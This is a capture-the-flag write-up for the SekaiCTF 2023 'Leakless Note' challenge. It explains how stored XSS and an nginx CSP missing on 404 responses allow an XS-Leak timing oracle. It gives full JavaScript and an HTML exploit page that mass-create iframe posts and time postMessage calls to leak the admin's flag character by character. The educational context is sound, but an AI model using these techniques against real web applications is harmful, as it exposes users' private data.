Leakless Note - SekaiCTF 2023
This time my note application will have no leaks! Author: strellic
TLDR;
This is a note web application vulnerable to XS-Leak. There is a search functionality in which if your search has no results the response status is 404 and 200 if not, the goal is to leak the flag stored in the admin’s note with the iframe loading time as oracle.
Vulnerability discovery
After registering any user can store a note:
As you can see we have a pretty simple XSS here since the content of the post is not properly sanitized:
<h3><?php echo htmlspecialchars($post["title"]) ?></h3>
<div id="contents"><?php echo $post["contents"]; ?></div>
So if we have XSS we can get the cookie isn’t it? NOPE! The CSP is bothering us, if we check the nginx.conf
we can see the CSP:
add_header Content-Security-Policy "default-src 'self'; script-src 'none'; object-src 'none'; frame-ancestors 'none';";
As we saw in past strellic challenges (LeakyNote, corCTF2023) which is the little brother of this chall, we have learned that nginx add_header
withouch the always
arguments will only apply the CSP for successful status codes :
This is so interesting to create our oracle, 404 is not considered a success status code so in that case the CSP will be omitted. In the following code snippet we can see that in search.php
in case that no result is returned from database the response code will be 404:
if (isset($_GET["query"]) && is_string($_GET["query"])) {
$stmt = $db->prepare("SELECT * FROM posts WHERE username=? AND contents LIKE ?");
$stmt->execute([$_SESSION["user"], "%" . $_GET["query"] . "%"]);
$posts = $stmt->fetchAll();
if (count($posts) == 0) {
http_response_code(404);
}
}
If we take a look again to the CSP what can we achieve bypassing it? It’s pretty obvious that avoiding default-src: 'self'
we can exfiltrate the admin cookie but in this case the cookie is SameSite=Lax
so it’s not possible. But what about frame-ancestors 'none'
? If the CSP is loaded the website won’t be embedded so the loading time should be lower. We could use this to create our oracle.
An important detail I forgot to say is that if we have the id of the post any user can read that post, but in the search functionality you only can search your own posts. This is an important point to take into account.
I’m not familiar with XS-Leak (improving, I hope) so I had to learn from the Super-strellic’s exploit. Since there is not a detailed official writeup I decided to write this post explaining step by step even though I needed the help of the author’s solution to solve it.
Oracle momentum
First we create a post with the search query aiming to the char we want to try, if the flag is flag{fake}
let’s start trying luck with flag{a
:
As you can see there is no results, what if we frame this site? Let’s create a post with the following content:
<iframe src="http://localhost:8989/search.php?query=flag{a"></iframe>
When the admin visits the post this will be shown:
In fact is has been embedded successfully and what if we aim to flag{f
? This is the result:
Since here the status code is 200 the CSP is present and we’re not able to frame the content.
Building the exploit
First we have to create a post for every character we want to try. Then we have to mesure how much time takes for every post.
// Declare the sleep method
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
// Open the window
const win = window.open(postUrl);
// Wait for the window to load
await waitFor(win);
About the waitFor
method this is how strellic did it:
const waitFor = async (w) => {
while (true) {
try {
w.frames[0].postMessage;
break;
} catch { }
await sleep(1);
}
}
He used an infinite loop that tries to access the iframe postMessage
and this loop will only stop at the moment the postMessage
is accessible. We do this because in our oracle we need postMessage
.
The next step is to start with the oracle:
const response = await oracle(win, postUrl);
We’ll be sending a big message to our iframe using postMessage
to create some delay and measure the time.
// opening a 404 post
const win = window.open("http://localhost:8989/post.php?id=c891846243446ae0");
await waitFor(win);
const bigMessageSize = 16; // Size in bytes, you can adjust this as needed
const bigMessageBuffer = new ArrayBuffer(bigMessageSize);
const bigMessage = new Uint32Array(bigMessageBuffer);
const time = performance.now()
win.frames[0].postMessage(bigMessage, "*", [bigMessage.buffer]);
console.log(performance.now() - time);
delete bigMessage;
After manual testing it several times we can realize that 404 tends to be a bit faster, let’s open tabs and measure it’s time:
// Number of tabs
for (let i = 0; i < 30; i++) {
const time_stamps = [];
// Here we send 600 times a huge message
// to create some delay
for (var x = 0; j < 600; j++) {
const bigMessageSize = 16; // Size in bytes, you can adjust this as needed
const bigMessageBuffer = new ArrayBuffer(bigMessageSize);
const bigMessage = new Uint32Array(bigMessageBuffer);
const time = performance.now()
w.frames[0].postMessage(b, "*", [b.buffer]);
time_stamps.push(performance.now() - time);
delete bigMessage;
}
var sum = 0;
for (var value = 0; value < time_stamps.length; value++) {
sum += time_stamps[value]
}
runs.push(sum)
await sleep(500); // rate limit
await waitFor(w);
}
As you can see the char f
is way faster than other chars so this means that our oracle is working! But we still have to create all those posts. I’ll be doing it using js:
domain = "localhost:8989"
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
function generateRandomString(length) {
const characterSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
const randomIndex = Math.floor(Math.random() * characterSet.length);
result += characterSet.charAt(randomIndex);
}
return result;
}
var randomString = generateRandomString(10);
async function register() {
const register_url = "http://" + domain + "/register.php";
const register_data = new URLSearchParams({ name: "exploit_" + randomString, pass: "maikypedia" });
const response_reg = await fetch(register_url, {
method: "POST",
redirect: 'manual',
body: register_data,
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
});
const cookieValue = response_reg.headers.get('set-cookie').slice(0, -8);
return cookieValue;
}
function createPost(char, cookie) {
const url = "http://" + domain + "/index.php"
const content = new URLSearchParams({ title: randomString + char, contents: "<iframe src=\"/search.php?query=" + char + "\"></iframe>" });
fetch(url, {
method: "POST",
body: content,
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": cookie
},
})
}
function createList(flag, cookie) {
const charlist = "abcdefghijklmnopqrstuvwxyz"
for (i in charlist) {
createPost(flag + charlist[i], cookie)
}
}
register()
.then((cookieValue) => {
console.log("exploit_" + randomString)
createList("SEKAI{", cookieValue)
})
And once we create the posts we have to get all those links (don’t forget to change the username):
domain = "localhost:8989"
const regex = /^[0-9a-zA-Z].*flag{a$/;
const login_url = "http://" + domain + "/login.php";
const login_data = new URLSearchParams({ name: "exploit_gjj4mpJEi8", pass: "maikypedia" });
fetch(login_url, {
method: "POST",
body: login_data,
redirect: "follow",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=70c911603ad14fadc9340eb335b75781"
},
}).then(response => response.text()).then(data => {
const pattern = /id=([a-f0-9]+'>[\w{}]+)/g;
const matches = data.match(pattern).map(str => str.split('').reverse().join('')).sort().map(str => str.split('').reverse().join(''))
const letter = "abcdefghijklmnopqrstuvwxyz".split('')
const dictionary = {};
for (let i = 0; i < letter.length; i++) {
dictionary[letter[i]] = "http://" + domain + "/post.php?id=" + matches[i].slice(3, -18);
}
console.log(dictionary);
})
And finally we just have to add the dictionary to our final exploit page:
<!DOCTYPE html>
<html>
<body>
<script>
// sleep function
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
// waitWindow function
const waitFor = async (windw) => {
while (true) {
try {
// It references postMessage if the apge is not loaded yet
// this will fail and the loop won't stop
windw.frames[0].postMessage;
break;
} catch { }
await sleep(1);
}
}
// replace here
const alphabet = {
a: 'http://localhost:8989/post.php?id=9eb71ad3b196ed45',
b: 'http://localhost:8989/post.php?id=00b965c3dbce4cd0',
c: 'http://localhost:8989/post.php?id=c45fd573982b9618',
d: 'http://localhost:8989/post.php?id=d4ea27a531dd48a9',
e: 'http://localhost:8989/post.php?id=080ed5adb1004cc2',
f: 'http://localhost:8989/post.php?id=11a9ef22f1351190',
g: 'http://localhost:8989/post.php?id=321a0488922b0b7b',
h: 'http://localhost:8989/post.php?id=d6368bd28ac32317',
i: 'http://localhost:8989/post.php?id=f9cee278a0eccee9',
j: 'http://localhost:8989/post.php?id=9af859a44aee8757',
k: 'http://localhost:8989/post.php?id=f355105cb983996d',
l: 'http://localhost:8989/post.php?id=007464b2936d5ee3',
m: 'http://localhost:8989/post.php?id=4735e69f1022d713',
n: 'http://localhost:8989/post.php?id=9474cf12e6c335d1',
o: 'http://localhost:8989/post.php?id=08273b5ec85066a6',
p: 'http://localhost:8989/post.php?id=56cae9be23bf692a',
q: 'http://localhost:8989/post.php?id=8015d15dba0f58c2',
r: 'http://localhost:8989/post.php?id=0e354eb1383808ee',
s: 'http://localhost:8989/post.php?id=411a5190dc7d456f',
t: 'http://localhost:8989/post.php?id=39fcc14f9503ee9d',
u: 'http://localhost:8989/post.php?id=30bc977954c27f4a',
v: 'http://localhost:8989/post.php?id=e7c23efd0e7661e5',
w: 'http://localhost:8989/post.php?id=bff93ba03186c92e',
x: 'http://localhost:8989/post.php?id=caa2638b76d6fd77',
y: 'http://localhost:8989/post.php?id=9827c1a87deafdc2',
z: 'http://localhost:8989/post.php?id=68c8d5b9868fe6f9'
}
var i = 0;
// Our oracle
const oracle = async (w, href) => {
// An array with the total delay of each char
const runs = [];
// Number of tabs
for (let i = 0; i < 30; i++) {
const time_stamps = [];
// Here we send 600 times a huge message
// to create some delay
for (var j = 0; j < 500; j++) {
const bigMessageSize = 8; // Size in bytes, you can adjust this as needed
const bigMessageBuffer = new ArrayBuffer(bigMessageSize);
const bigMessage = new Uint32Array(bigMessageBuffer);
const time = performance.now()
w.frames[0].postMessage(bigMessage, "*", [bigMessage.buffer]);
time_stamps.push(performance.now() - time);
delete bigMessage;
delete bigMessageBuffer;
}
var sum = 0;
for (var value = 0; value < time_stamps.length; value++) {
sum += time_stamps[value]
}
runs.push(sum)
await sleep(300);
await waitFor(w);
}
runs.sort((a, b) => a - b)
var sum = 0;
for (var value = 0; value < runs.length; value++) {
sum += runs[value]
}
return sum
}
var i = 0;
const exploit = async () => {
while (i < Object.keys(alphabet).length) {
// Gets the character
var element = Object.keys(alphabet)[i]
// Gets the post of the character
var openedWindow = window.open(alphabet[element])
await waitFor(openedWindow);
const response = await oracle(openedWindow, alphabet[element])
console.log(element + " " + response)
i++;
openedWindow.close()
}
}
exploit()
</script>
</body>
</html>
And repeat the process for every char :)
SEKAI{opleakerorz}